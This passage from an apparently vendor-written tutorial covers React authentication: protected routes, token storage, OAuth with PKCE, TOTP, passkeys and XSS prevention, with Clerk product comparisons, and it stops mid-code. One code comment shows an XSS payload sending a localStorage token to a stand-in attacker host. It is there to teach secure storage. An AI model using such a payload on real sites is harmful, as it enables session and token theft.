# React Authentication: From Protected Routes to Passkeys

88% of web application breaches involve stolen credentials ([Verizon DBIR, 2025](https://www.verizon.com/business/resources/reports/dbir/); [Descope, 2025](https://www.descope.com/blog/post/dbir-2025)), with the average breach costing $4.44M ([IBM, 2025](https://www.ibm.com/reports/data-breach)). [Authentication](https://clerk.com/glossary.md#authentication) in React spans token storage, [session management](https://clerk.com/glossary.md#session-management), [OAuth](https://clerk.com/glossary.md#oauth), [multi-factor authentication](https://clerk.com/glossary.md#multi-factor-authentication-mfa), [passkeys](https://clerk.com/glossary.md#passkeys), and XSS/CSRF prevention — most tutorials cover the login form and stop. This guide covers the full stack: from protected routes to passkeys, with working TypeScript code and security analysis. We compare building it yourself against Auth0, Firebase Auth, Supabase Auth, and Clerk.

| Topic           | Key Finding                                                                                                                                                                                                | What You'll Learn                     |
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------- |
| Token security  | localStorage is vulnerable to XSS                                                                                                                                                                          | In-memory + httpOnly cookie pattern   |
| MFA             | Blocks 99.9% of automated attacks                                                                                                                                                                          | TOTP + passkey implementation         |
| Passkeys        | 93% success rate, 8x faster than password+MFA ([Microsoft, 2025](https://www.microsoft.com/en-us/security/blog/2025/05/01/pushing-passkeys-forward-microsofts-latest-updates-for-simpler-safer-sign-ins/)) | WebAuthn integration in React         |
| Social login    | Increases signup conversion 20-40%                                                                                                                                                                         | OAuth 2.0 with PKCE                   |
| Platform choice | React-native SDKs vary significantly                                                                                                                                                                       | Feature comparison across 4 platforms |

## Setting up a React project for secure authentication

This tutorial uses Vite + React + TypeScript, the standard 2026 React stack. We'll walk through two parallel approaches:

- **DIY:** React + React Router + custom AuthContext
- **Clerk:** React + `@clerk/react`

A quick note on Clerk packages: `@clerk/react` is the base React SDK for any React app. If you're using React Router as a framework (with `react-router.config.ts`), there's also `@clerk/react-router` with framework-specific integrations like loaders and route-level auth. For a Vite app using React Router as a library (the approach here), `@clerk/react` is all you need.

Here's the Clerk setup. The entire auth layer wraps your app root:

filename: src/main.tsx
```tsx
import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import { ClerkProvider } from '@clerk/react'
import App from './App.tsx'

createRoot(document.getElementById('root')!).render(
  <StrictMode>
    <ClerkProvider afterSignOutUrl="/">
      <App />
    </ClerkProvider>
  </StrictMode>,
)
```

`ClerkProvider` reads `VITE_CLERK_PUBLISHABLE_KEY` from your environment automatically. Never hardcode API keys; use environment variables with the `VITE_` prefix for Vite projects.

The app shell uses the `<Show>` component to conditionally render based on auth state:

filename: src/App.tsx
```tsx
import { Show, SignInButton, SignUpButton, UserButton } from '@clerk/react'

export default function App() {
  return (
    <div>
      <header>
        <Show when="signed-out">
          <SignInButton />
          <SignUpButton />
        </Show>
        <Show when="signed-in">
          <UserButton />
        </Show>
      </header>
      <main>{/* Your app content */}</main>
    </div>
  )
}
```

That's a working auth UI in about 20 lines. The DIY version of this requires building every piece yourself, which is what the next several sections cover.

## Implementing protected routes in React

Client-side route protection improves the user experience by hiding UI that requires authentication. Your server is the actual security boundary and must validate auth independently on every request.

That said, route guards are critical for a good user experience. Without them, unauthenticated users see a flash of protected content before being redirected.

Here's a `ProtectedRoute` component using React Router:

filename: src/components/ProtectedRoute.tsx
```tsx
import { Navigate, Outlet, useLocation } from 'react-router-dom'
import { useAuth } from '../providers/AuthProvider'

export function ProtectedRoute() {
  const { user, isLoading } = useAuth()
  const location = useLocation()

  if (isLoading) {
    return <div>Loading...</div>
  }

  if (!user) {
    return <Navigate to="/sign-in" state={{ from: location }} replace />
  }

  return <Outlet />
}
```

The `isLoading` guard is critical. Without it, the component redirects to sign-in on every page load before the auth state has resolved. The `state={{ from: location }}` preserves the original destination so you can redirect back after sign-in.

Wire it into your router as a layout route:

filename: src/router.tsx
```tsx
import { createBrowserRouter } from 'react-router-dom'
import { ProtectedRoute } from './components/ProtectedRoute'
import { Home } from './pages/Home'
import { SignIn } from './pages/SignIn'
import { Dashboard } from './pages/Dashboard'
import { Settings } from './pages/Settings'

export const router = createBrowserRouter([
  { path: '/', element: <Home /> },
  { path: '/sign-in', element: <SignIn /> },
  {
    element: <ProtectedRoute />,
    children: [
      { path: '/dashboard', element: <Dashboard /> },
      { path: '/settings', element: <Settings /> },
    ],
  },
])
```

With Clerk, the same pattern is simpler because auth state management is handled internally:

filename: src/components/ProtectedRoute.tsx
```tsx
import { Navigate, Outlet, useLocation } from 'react-router-dom'
import { useAuth } from '@clerk/react'

export function ProtectedRoute() {
  const { isLoaded, isSignedIn } = useAuth()
  const location = useLocation()

  if (!isLoaded) {
    return <div>Loading...</div>
  }

  if (!isSignedIn) {
    return <Navigate to="/sign-in" state={{ from: location }} replace />
  }

  return <Outlet />
}
```

The shape is similar, but you don't need to build the auth context, manage tokens, or handle refresh logic. That's all internal to [`useAuth()`](https://clerk.com/docs/react/reference/hooks/use-auth.md).

## Managing auth state with Context API and hooks

DIY auth state management in React has a common pitfall: a single context that holds both state and actions causes unnecessary re-renders across your entire app. The fix is to split them.

filename: src/providers/AuthProvider.tsx
```tsx
import {
  createContext,
  useCallback,
  useContext,
  useEffect,
  useMemo,
  useReducer,
  useRef,
} from 'react'

interface User {
  id: string
  email: string
}

interface AuthState {
  user: User | null
  isLoading: boolean
}

type AuthAction =
  | { type: 'SET_USER'; user: User }
  | { type: 'CLEAR_USER' }
  | { type: 'SET_LOADING'; isLoading: boolean }

const AuthStateContext = createContext<AuthState | null>(null)
const AuthActionsContext = createContext<{
  login: (email: string, password: string) => Promise<void>
  logout: () => Promise<void>
} | null>(null)

function authReducer(state: AuthState, action: AuthAction): AuthState {
  switch (action.type) {
    case 'SET_USER':
      return { user: action.user, isLoading: false }
    case 'CLEAR_USER':
      return { user: null, isLoading: false }
    case 'SET_LOADING':
      return { ...state, isLoading: action.isLoading }
  }
}

export function AuthProvider({ children }: { children: React.ReactNode }) {
  const [state, dispatch] = useReducer(authReducer, {
    user: null,
    isLoading: true,
  })
  const accessTokenRef = useRef<string | null>(null)

  useEffect(() => {
    // Silent refresh on mount: exchange refresh token (httpOnly cookie)
    // for a new access token
    fetch('/api/auth/refresh', { credentials: 'include' })
      .then((res) => (res.ok ? res.json() : Promise.reject()))
      .then(({ user, accessToken }) => {
        accessTokenRef.current = accessToken
        dispatch({ type: 'SET_USER', user })
      })
      .catch(() => dispatch({ type: 'CLEAR_USER' }))
  }, [])

  const login = useCallback(async (email: string, password: string) => {
    const res = await fetch('/api/auth/login', {
      method: 'POST',
      credentials: 'include',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
    })
    const { user, accessToken } = await res.json()
    accessTokenRef.current = accessToken
    dispatch({ type: 'SET_USER', user })
  }, [])

  const logout = useCallback(async () => {
    await fetch('/api/auth/logout', {
      method: 'POST',
      credentials: 'include',
    })
    accessTokenRef.current = null
    dispatch({ type: 'CLEAR_USER' })
  }, [])

  const actions = useMemo(() => ({ login, logout }), [login, logout])

  return (
    <AuthStateContext.Provider value={state}>
      <AuthActionsContext.Provider value={actions}>{children}</AuthActionsContext.Provider>
    </AuthStateContext.Provider>
  )
}

export function useAuth() {
  const state = useContext(AuthStateContext)
  const actions = useContext(AuthActionsContext)
  if (!state || !actions) throw new Error('useAuth must be used within AuthProvider')
  return { ...state, ...actions }
}
```

Two contexts, a reducer, memoized callbacks, an in-memory token ref, silent refresh on mount. That's roughly 80 lines before you've handled token refresh failures, race conditions, or multi-tab session sync.

With Clerk, the same surface area collapses to this:

filename: src/components/Dashboard.tsx
```tsx
import { useAuth, useUser } from '@clerk/react'

export function Dashboard() {
  const { isLoaded, userId, getToken } = useAuth()
  const { user } = useUser()

  if (!isLoaded) return <div>Loading...</div>

  return (
    <div>
      <h1>Welcome, {user?.firstName}</h1>
      <p>User ID: {userId}</p>
    </div>
  )
}
```

[`useAuth()`](https://clerk.com/docs/react/reference/hooks/use-auth.md) handles session state, token refresh, and multi-tab sync. [`useUser()`](https://clerk.com/docs/react/reference/hooks/use-user.md) provides user profile data. No context providers, no reducers, no refs.

As of March 2026, Clerk's React SDK (`@clerk/react`) has roughly 1.1M weekly npm downloads. That makes it the most downloaded React-specific auth SDK — ahead of @auth0/auth0-react (\~825K/week) — meaning a dedicated React SDK rather than a meta-framework SDK like `next-auth`.

## Token storage and JWT handling: the secure way

Most React auth tutorials store [JWTs](https://clerk.com/glossary.md#json-web-token) in localStorage. This is the single most common auth security mistake in React apps, and it's dangerous.

| Storage Method                                                    | XSS Vulnerable | Survives Refresh |    CSRF Risk    | Recommendation   |
| ----------------------------------------------------------------- | :------------: | :--------------: | :-------------: | ---------------- |
| localStorage                                                      |       Yes      |        Yes       |        No       | Never for tokens |
| sessionStorage                                                    |       Yes      |        No        |        No       | Never for tokens |
| In-memory (variable)                                              |       No       |        No        |        No       | Access tokens    |
| [httpOnly cookie](https://clerk.com/glossary.md#httponly-cookies) |       No       |        Yes       | Yes (mitigable) | Refresh tokens   |

The gold standard: store access tokens in memory and refresh tokens in httpOnly cookies. Here's why.

filename: src/auth/insecure-example.ts
```typescript
// ❌ VULNERABLE: Any XSS payload can steal this token
export function saveToken(token: string) {
  localStorage.setItem('authToken', token)
}

export function getToken(): string | null {
  return localStorage.getItem('authToken')
}

// An attacker's XSS payload:
// fetch('https://evil.com/steal?token=' + localStorage.getItem('authToken'))
```

Any script running on your page (including injected third-party scripts, compromised dependencies, or XSS payloads) can read localStorage. Game over.

The secure alternative keeps tokens in a module-scoped variable that JavaScript from other contexts can't access:

filename: src/auth/token-manager.ts
```typescript
// ✅ SECURE: Module-scoped variable, inaccessible to XSS injected scripts
let accessToken: string | null = null

export function setAccessToken(token: string | null) {
  accessToken = token
}

export function getAccessToken(): string | null {
  return accessToken
}
```

The tradeoff: in-memory tokens don't survive page refresh. You need a silent refresh mechanism using httpOnly cookies to restore them. Here's a complete API client with automatic token refresh and request queuing:

filename: src/auth/api-client.ts
```typescript
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios'
import { getAccessToken, setAccessToken } from './token-manager'

const api = axios.create({ baseURL: '/api' })

let isRefreshing = false
let failedQueue: Array<{
  resolve: (token: string) => void
  reject: (error: unknown) => void
}> = []

function processQueue(error: unknown, token: string | null) {
  failedQueue.forEach(({ resolve, reject }) => {
    if (error) {
      reject(error)
    } else {
      resolve(token!)
    }
  })
  failedQueue = []
}

api.interceptors.request.use((config: InternalAxiosRequestConfig) => {
  const token = getAccessToken()
  if (token) {
    config.headers.Authorization = `Bearer ${token}`
  }
  return config
})

api.interceptors.response.use(
  (response) => response,
  async (error: AxiosError) => {
    const originalRequest = error.config as InternalAxiosRequestConfig & {
      _retry?: boolean
    }

    if (error.response?.status !== 401 || originalRequest._retry) {
      return Promise.reject(error)
    }

    if (isRefreshing) {
      return new Promise((resolve, reject) => {
        failedQueue.push({
          resolve: (token) => {
            originalRequest.headers.Authorization = `Bearer ${token}`
            resolve(api(originalRequest))
          },
          reject,
        })
      })
    }

    originalRequest._retry = true
    isRefreshing = true

    try {
      const { data } = await axios.post('/api/auth/refresh', {}, { withCredentials: true })
      setAccessToken(data.accessToken)
      processQueue(null, data.accessToken)
      originalRequest.headers.Authorization = `Bearer ${data.accessToken}`
      return api(originalRequest)
    } catch (refreshError) {
      processQueue(refreshError, null)
      setAccessToken(null)
      window.location.href = '/sign-in'
      return Promise.reject(refreshError)
    } finally {
      isRefreshing = false
    }
  },
)

export default api
```

That's \~70 lines for a production token refresh client. It handles concurrent 401s by queuing requests, prevents duplicate refresh calls, and redirects to sign-in if the refresh token is expired.

**Refresh token rotation** adds another layer: every refresh returns a new refresh token and invalidates the old one. If an attacker replays a stolen refresh token, the server detects the reuse and invalidates all tokens for that session.

**Backend for Frontend (BFF) pattern:** For SPAs that need maximum security, the BFF pattern routes all API calls through a thin backend proxy that manages tokens server-side. The SPA never touches tokens directly. Both [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html) and [Curity](https://curity.io/resources/learn/spa-best-practices/) recommend this approach for high-security SPAs. It adds infrastructure complexity but eliminates client-side token exposure entirely.

**How Clerk handles this.** Clerk uses a hybrid stateful/stateless [authentication](https://clerk.com/glossary.md#authentication) model. A long-lived client token (httpOnly cookie on the FAPI domain) serves as the source of truth for [session](https://clerk.com/glossary.md#session) state. A short-lived session token (60-second JWT on your app's domain) handles request authentication without database lookups.

Clerk's SDK auto-refreshes the session token every 50 seconds in the background. This gives you the performance of stateless auth (no DB round-trip per request) with the revocability of stateful auth (revoke the client token and the session dies within 60 seconds).

No developer token management needed. See [How Clerk Works](https://clerk.com/docs/guides/how-clerk-works/overview.md) for the full architecture.

Credential breaches take 246 days to identify and contain ([SpyCloud/IBM, 2025](https://spycloud.com/blog/6-takeaways-from-ibm-data-breach-report-2025/)). The overall average breach lifecycle is 241 days, the lowest in nine years. Meanwhile, 1.8 billion credentials were stolen by infostealers in 2025 ([Flashpoint, 2025](https://flashpoint.io/blog/flashpoint-2025-global-threat-intelligence-index-midyear/); [Vectra AI, 2025](https://www.vectra.ai/topics/infostealers); [Infosecurity Magazine, 2025](https://www.infosecurity-magazine.com/news/staggering-800-rise-infostealer/)).

OWASP explicitly recommends against localStorage for tokens ([OWASP HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html)).

JWT payloads are base64-encoded, not encrypted. Never put sensitive data in payloads ([RFC 8725](https://datatracker.ietf.org/doc/html/rfc8725)). Preferred signing algorithms: RS256, ES256, or EdDSA. Never allow `none`.

## Social login and OAuth 2.0 with PKCE

[Social login](https://clerk.com/docs/guides/configure/auth-strategies/social-connections/overview.md) increases signup conversion by 20-40% ([Okta/Auth0, 2023](https://www.okta.com/resources/whitepaper-going-deep-with-social-login-a-new-analysis/)). Google dominates at \~62% of businesses offering social login ([6sense, 2026](https://6sense.com/tech/social-login/google-signin-market-share); [Okta State of Identity, 2024](https://www.okta.com/resources/whitepaper-going-deep-with-social-login-a-new-analysis/)), followed by Apple and Facebook.

The only secure [OAuth](https://clerk.com/glossary.md#oauth) flow for SPAs is the [Authorization Code Flow](https://clerk.com/glossary.md#authorization-code-flow) with [PKCE](https://clerk.com/glossary.md#code-exchange-pkce) (Proof Key for Code Exchange). The Implicit Flow is deprecated because it exposes tokens in URL fragments, making them vulnerable to browser history leaks and referer header exposure.

Here's the PKCE implementation. You need a cryptographic code verifier and its SHA-256 challenge:

filename: src/auth/pkce.ts
```typescript
export function generateCodeVerifier(): string {
  const array = new Uint8Array(32)
  crypto.getRandomValues(array)
  return btoa(String.fromCharCode(...array))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '')
}

export async function generateCodeChallenge(verifier: string): Promise<string> {
  const encoder = new TextEncoder()
  const data = encoder.encode(verifier)
  const digest = await crypto.subtle.digest('SHA-256', data)
  return btoa(String.fromCharCode(...new Uint8Array(digest)))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '')
}
```

Then build the authorization URL:

filename: src/auth/oauth.ts
```typescript
import { generateCodeVerifier, generateCodeChallenge } from './pkce'

const OAUTH_ENDPOINTS: Record<'google' | 'github', string> = {
  google: 'https://accounts.google.com/o/oauth2/v2/auth',
  github: 'https://github.com/login/oauth/authorize',
}

export async function initiateOAuth(provider: 'google' | 'github') {
  const codeVerifier = generateCodeVerifier()
  const codeChallenge = await generateCodeChallenge(codeVerifier)
  const state = crypto.randomUUID()

  // Store verifier and state for the callback
  sessionStorage.setItem('pkce_verifier', codeVerifier)
  sessionStorage.setItem('oauth_state', state)

  const params = new URLSearchParams({
    client_id: import.meta.env.VITE_OAUTH_CLIENT_ID,
    redirect_uri: `${window.location.origin}/oauth/callback`,
    response_type: 'code',
    scope: 'openid email profile',
    code_challenge: codeChallenge,
    code_challenge_method: 'S256',
    state,
  })

  window.location.href = `${OAUTH_ENDPOINTS[provider]}?${params}`
}
```

That's \~35 lines just for the crypto and redirect. You still need the callback handler, token exchange, error handling, and [account linking](https://clerk.com/glossary.md#account-linking) logic.

**Account linking** is a sleeper complexity. When a user signs up with Google and later tries email/password with the same email, your DIY implementation must manually merge accounts. This is error-prone and a common source of security bugs. Clerk handles account linking automatically.

**How Clerk handles this.** `signIn.sso()` handles PKCE, token exchange, and account linking internally. Clerk also manages the transfer between sign-in and sign-up flows when a user tries to sign in with an OAuth provider but doesn't have an account yet.

filename: src/components/SocialLogin.tsx
```tsx
import { useSignIn } from '@clerk/react'

export function SocialLogin() {
  const { signIn, errors, fetchStatus } = useSignIn()

  const handleGoogleSignIn = async () => {
    const { error } = await signIn.sso({
      strategy: 'oauth_google',
      redirectCallbackUrl: '/sso-callback',
      redirectUrl: '/',
    })

    if (error) {
      console.error(JSON.stringify(error, null, 2))
    }
    // If no error, the browser redirects to Google
  }

  return (
    <div>
      <button onClick={handleGoogleSignIn} disabled={fetchStatus === 'fetching'}>
        {fetchStatus === 'fetching' ? 'Redirecting...' : 'Continue with Google'}
      </button>
      {errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}
    </div>
  )
}
```

The SSO callback page handles the redirect response, including transferable sessions (when a sign-in attempt needs to become a sign-up, or vice versa):

filename: src/pages/SSOCallback.tsx
```tsx
import { useEffect, useRef } from 'react'
import { useClerk, useSignIn, useSignUp } from '@clerk/react'
import { useNavigate } from 'react-router-dom'

export function SSOCallback() {
  const clerk = useClerk()
  const { signIn } = useSignIn()
  const { signUp } = useSignUp()
  const navigate = useNavigate()
  const hasRun = useRef(false)

  const handleNavigate = async ({
    session,
    decorateUrl,
  }: {
    session: { currentTask?: { key: string } | null }
    decorateUrl: (url: string) => string
  }) => {
    if (session?.currentTask) {
      // Handle required post-auth steps (e.g., setup-mfa)
      navigate(`/post-auth/${session.currentTask.key}`)
      return
    }
    const url = decorateUrl('/')
    if (url.startsWith('http')) {
      window.location.href = url
    } else {
      navigate(url)
    }
  }

  useEffect(() => {
    if (hasRun.current) return
    hasRun.current = true

    async function handleCallback() {
      // Sign-in completed
      if (signIn.status === 'complete') {
        await signIn.finalize({ navigate: handleNavigate })
        return
      }

      // User tried to sign up with existing account; transfer to sign-in
      if (signUp.isTransferable) {
        await signIn.create({ transfer: true })
        if (signIn.status === 'complete') {
          await signIn.finalize({ navigate: handleNavigate })
        }
        return
      }

      // User tried to sign in but has no account; transfer to sign-up
      if (signIn.isTransferable) {
        await signUp.create({ transfer: true })
        if (signUp.status === 'complete') {
          await signUp.finalize({ navigate: handleNavigate })
        }
        return
      }

      // Handle existing session
      if (signIn.existingSession || signUp.existingSession) {
        const sessionId = signIn.existingSession?.sessionId || signUp.existingSession?.sessionId
        await clerk.setActive({
          session: sessionId,
          navigate: handleNavigate,
        })
      }
    }

    handleCallback()
  }, [])

  return <div>Completing sign-in...</div>
}
```

The callback page handles four scenarios: completed sign-in, transferable sign-up to sign-in, transferable sign-in to sign-up, and existing sessions. With Clerk's prebuilt `<SignIn />` component, both pages collapse to zero custom code.

## Multi-factor authentication (MFA) in React

MFA blocks 99.9% of automated account compromises ([Microsoft, 2019](https://www.microsoft.com/en-us/security/blog/2019/08/20/one-simple-action-you-can-take-to-prevent-99-9-percent-of-account-attacks/)). A peer-reviewed Microsoft Research study refined that to 99.22% ([Microsoft Research, 2023](https://www.microsoft.com/en-us/research/publication/how-effective-is-multifactor-authentication-at-deterring-cyberattacks/)). Google found that zero users who exclusively used security keys fell victim to targeted phishing ([Google Security Blog, 2019](https://security.googleblog.com/2019/05/new-research-how-effective-is-basic.html)). On-device prompts blocked 100% of bots and 99% of bulk phishing in the same study.

OWASP ranks MFA factors by strength: passkeys > hardware keys > [TOTP](https://clerk.com/glossary.md#authenticator-apps-totp) > push notifications > SMS ([OWASP MFA Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)). 83% of SMEs (2,500 or fewer employees) now require MFA ([JumpCloud/Propeller Insights, 2024](https://jumpcloud.com/blog/multi-factor-authentication-statistics)).

Here's a TOTP setup flow with Clerk. The `useReverification()` hook ensures the user re-authenticates before performing this sensitive action:

filename: src/components/SetupTOTP.tsx
```tsx
import { useState } from 'react'
import { useUser, useReverification } from '@clerk/react'
import type { TOTPResource } from '@clerk/shared/types'
import { QRCodeSVG } from 'qrcode.react'

export function SetupTOTP() {
  const { user } = useUser()
  const [totp, setTotp] = useState<TOTPResource | null>(null)
  const [code, setCode] = useState('')
  const [verified, setVerified] = useState(false)

  const createTOTP = useReverification(() => user?.createTOTP())

  const handleSetup = async () => {
    const totpResource = await createTOTP()
    if (totpResource) {
      setTotp(totpResource)
    }
  }

  const handleVerify = async () => {
    await user?.verifyTOTP({ code })
    setVerified(true)
  }

  if (verified) {
    return <p>MFA enabled.</p>
  }

  if (totp) {
    return (
      <div>
        <QRCodeSVG value={totp.uri} />
        <p>Scan this QR code with your authenticator app, then enter the code below.</p>
        <input
          type="text"
          value={code}
          onChange={(e) => setCode(e.target.value)}
          placeholder="Enter 6-digit code"
        />
        <button onClick={handleVerify}>Verify</button>
      </div>
    )
  }

  return <button onClick={handleSetup}>Set up two-factor authentication</button>
}
```

During sign-in, MFA verification looks like this:

filename: src/components/MFAVerification.tsx
```tsx
import { useState } from 'react'
import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router-dom'

export function MFAVerification() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [code, setCode] = useState('')
  const navigate = useNavigate()

  const handleVerify = async () => {
    await signIn.mfa.verifyTOTP({ code })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: async ({ session, decorateUrl }) => {
          if (session?.currentTask) {
            navigate(`/post-auth/${session.currentTask.key}`)
            return
          }
          const url = decorateUrl('/')
          url.startsWith('http') ? (window.location.href = url) : navigate(url)
        },
      })
    }
  }

  return (
    <div>
      <h2>Enter your verification code</h2>
      <input
        type="text"
        value={code}
        onChange={(e) => setCode(e.target.value)}
        placeholder="6-digit code"
      />
      <button onClick={handleVerify} disabled={fetchStatus === 'fetching'}>
        Verify
      </button>
      {errors.fields.code && <p>{errors.fields.code.message}</p>}
    </div>
  )
}
```

One important nuance: in FRSecure's incident response caseload of 65 BEC cases, 79% of victims in 2024-2025 had MFA enabled ([FRSecure, 2025](https://frsecure.com/blog/token-theft-attacks-mfa-defeat/)). Token theft and adversary-in-the-middle (AiTM) attacks bypass traditional MFA methods like SMS and push notifications. This is why phishing-resistant methods like passkeys matter.

## Passkeys and WebAuthn: replacing passwords in React

Passkey adoption is accelerating. Over 1 billion people have activated passkeys, and 15 billion accounts now support them ([FIDO Alliance, 2025](https://fidoalliance.org/passkey-adoption-doubles-in-2024-more-than-15-billion-online-accounts-can-leverage-passkeys)). Success rates hit 93% vs 63% for traditional methods ([FIDO Alliance Passkey Index, 2025](https://fidoalliance.org/fido-alliance-launches-passkey-index-revealing-significant-passkey-uptake-and-business-benefits/)).

Microsoft reports passkeys are 8x faster than password+MFA ([Microsoft, 2025](https://www.microsoft.com/en-us/security/blog/2025/05/01/pushing-passkeys-forward-microsofts-latest-updates-for-simpler-safer-sign-ins/)). The FIDO Alliance measures a \~3.7x improvement comparing passkeys to other sign-in methods broadly.

Company-specific numbers: Google has 800 million accounts using passkeys, Amazon has 175 million passkeys created, and Microsoft sees 98% sign-in success with passkeys vs 32% with passwords ([FIDO Alliance, 2025](https://fidoalliance.org/fido-alliance-launches-passkey-index-revealing-significant-passkey-uptake-and-business-benefits/)). 87% of enterprises are deploying passkeys ([FIDO Alliance, 2025](https://fidoalliance.org/fido-alliance-launches-passkey-index-revealing-significant-passkey-uptake-and-business-benefits/); [HID Global, 2025](https://blog.hidglobal.com/passkey-adoption-workforce-what-numbers-say); [Dark Reading, 2025](https://www.darkreading.com/application-security/study-enterprise-passkey-adoption)). CISA recommends FIDO2/[WebAuthn](https://clerk.com/glossary.md#webauthn) as the "gold standard" for phishing-resistant MFA ([CISA Fact Sheet](https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf)).

**How WebAuthn works (briefly):** The server sends a random challenge. The authenticator (fingerprint sensor, face ID, or hardware key) signs it with a private key that never leaves the device. The server verifies the signature against the stored public key. Domain binding prevents phishing because the credential is tied to the exact origin.

Here's what raw WebAuthn registration looks like. This is intentionally verbose to show the API surface:

filename: src/auth/webauthn-raw\.ts
```typescript
// Raw WebAuthn registration (simplified, showing the complexity)
async function registerPasskey(userId: string) {
  // 1. Fetch challenge from your server
  const options = await fetch('/api/webauthn/register-options', {
    method: 'POST',
    body: JSON.stringify({ userId }),
  }).then((r) => r.json())

  // 2. Call the browser's credential API
  const credential = await navigator.credentials.create({
    publicKey: {
      challenge: Uint8Array.from(options.challenge, (c) => c.charCodeAt(0)),
      rp: { name: 'Your App', id: window.location.hostname },
      user: {
        id: Uint8Array.from(userId, (c) => c.charCodeAt(0)),
        name: options.userName,
        displayName: options.displayName,
      },
      pubKeyCredParams: [
        { type: 'public-key', alg: -7 }, // ES256
        { type: 'public-key', alg: -257 }, // RS256
      ],
      authenticatorSelection: {
        residentKey: 'required',
        userVerification: 'preferred',
      },
      timeout: 60000,
    },
  })

  // 3. Send credential to server for verification and storage
  await fetch('/api/webauthn/register-verify', {
    method: 'POST',
    body: JSON.stringify(credential),
  })
}
```

That's the simplified version. A production implementation needs attestation validation, credential storage, error handling for every browser/authenticator combination, and fallback flows.

With Clerk, passkey registration is one method call:

filename: src/components/CreatePasskey.tsx
```tsx
import { useState } from 'react'
import { useUser } from '@clerk/react'

export function CreatePasskey() {
  const { user } = useUser()
  const [status, setStatus] = useState<'idle' | 'creating' | 'done'>('idle')

  const handleCreate = async () => {
    setStatus('creating')
    try {
      await user?.createPasskey()
      setStatus('done')
    } catch {
      setStatus('idle')
    }
  }

  if (status === 'done') return <p>Passkey created.</p>

  return (
    <button onClick={handleCreate} disabled={status === 'creating'}>
      {status === 'creating' ? 'Creating passkey...' : 'Add a passkey'}
    </button>
  )
}
```

Passkey sign-in with Clerk:

filename: src/components/PasskeySignIn.tsx
```tsx
import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router-dom'

export function PasskeySignIn() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const navigate = useNavigate()

  const handlePasskeySignIn = async () => {
    await signIn.passkey({ flow: 'discoverable' })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: async ({ session, decorateUrl }) => {
          if (session?.currentTask) {
            navigate(`/post-auth/${session.currentTask.key}`)
            return
          }
          const url = decorateUrl('/')
          url.startsWith('http') ? (window.location.href = url) : navigate(url)
        },
      })
    }
  }

  return (
    <div>
      <button onClick={handlePasskeySignIn} disabled={fetchStatus === 'fetching'}>
        Sign in with passkey
      </button>
      {errors.global?.[0] && <p>{errors.global[0].message}</p>}
    </div>
  )
}
```

Browser support: Chrome 67+, Safari 16+, Firefox 119+, Edge 79+. Cross-platform on Windows, macOS, iOS, and Android.

## Clerk Core 3 developer experience improvements

Core 3 (March 2026) redesigned how custom auth flows work in React. A few things that matter for the code in this article:

**Stateful hooks and `fetchStatus`.** `useSignIn()` and `useSignUp()` return stateful objects that trigger re-renders automatically. The hooks expose `fetchStatus` (`'idle'` | `'fetching'`) so you can show loading indicators without managing a separate boolean.

**Structured field-level errors.** `errors.fields.identifier`, `errors.fields.password`, `errors.fields.code` provide typed, field-specific error messages. Integrates cleanly with any form library.

Step methods map directly to the auth flow: `signIn.password()`, `signIn.emailCode.sendCode()`, `signIn.mfa.verifyTOTP()`, `signIn.passkey()`. Readable, discoverable, hard to misuse.

`finalize()` replaces `setActive()`. After a successful sign-in or sign-up, call `signIn.finalize()` with a `navigate` callback. The callback receives `session` (for checking `currentTask`) and `decorateUrl` (for URL decoration). This is the standard for completing auth flows in Core 3.

`useReverification()` handles sensitive actions (TOTP setup, password changes, account deletion) by requiring the user to re-authenticate before proceeding.

Session tasks via `session.currentTask` handle required post-auth steps (e.g., `setup-mfa` when MFA is mandatory). The `finalize()` callback must check for and handle these tasks.

Here's the error handling pattern in practice:

filename: src/components/SignInForm.tsx
```tsx
import { useState } from 'react'
import { useSignIn } from '@clerk/react'

export function SignInForm() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault()
    await signIn.password({ emailAddress: email, password })
    // signIn.status updates automatically, triggering re-render
  }

  return (
    <form onSubmit={handleSubmit}>
      <input value={email} onChange={(e) => setEmail(e.target.value)} />
      {errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}

      <input type="password" value={password} onChange={(e) => setPassword(e.target.value)} />
      {errors.fields.password && <p>{errors.fields.password.message}</p>}

      <button disabled={fetchStatus === 'fetching'}>
        {fetchStatus === 'fetching' ? 'Signing in...' : 'Sign in'}
      </button>
    </form>
  )
}
```

See the [Core 3 Changelog](https://clerk.com/changelog/2026-03-03-core-3.md) for the full list of changes.

## Preventing XSS and CSRF in React authentication

The OWASP Top 10:2025 renamed A07 to "Authentication Failures" with 36 mapped CWEs ([OWASP, 2025](https://owasp.org/Top10/2025/)). 26 billion [credential stuffing](https://clerk.com/glossary/credential-stuffing.md) attempts happen every month globally ([IDDataWeb/Akamai](https://www.iddataweb.com/credential-stuffing-attacks/)).

### XSS in auth context

React auto-escapes JSX output, which prevents most XSS. But `dangerouslySetInnerHTML`, URL props (`href`, `src`), and third-party scripts remain vectors. In an auth context, XSS can steal in-memory tokens during their lifespan, exfiltrate session data via API calls, or hijack active sessions.

filename: src/components/insecure-profile.tsx
```tsx
// ❌ VULNERABLE: User-controlled HTML rendered directly
export function InsecureProfile({ bio }: { bio: string }) {
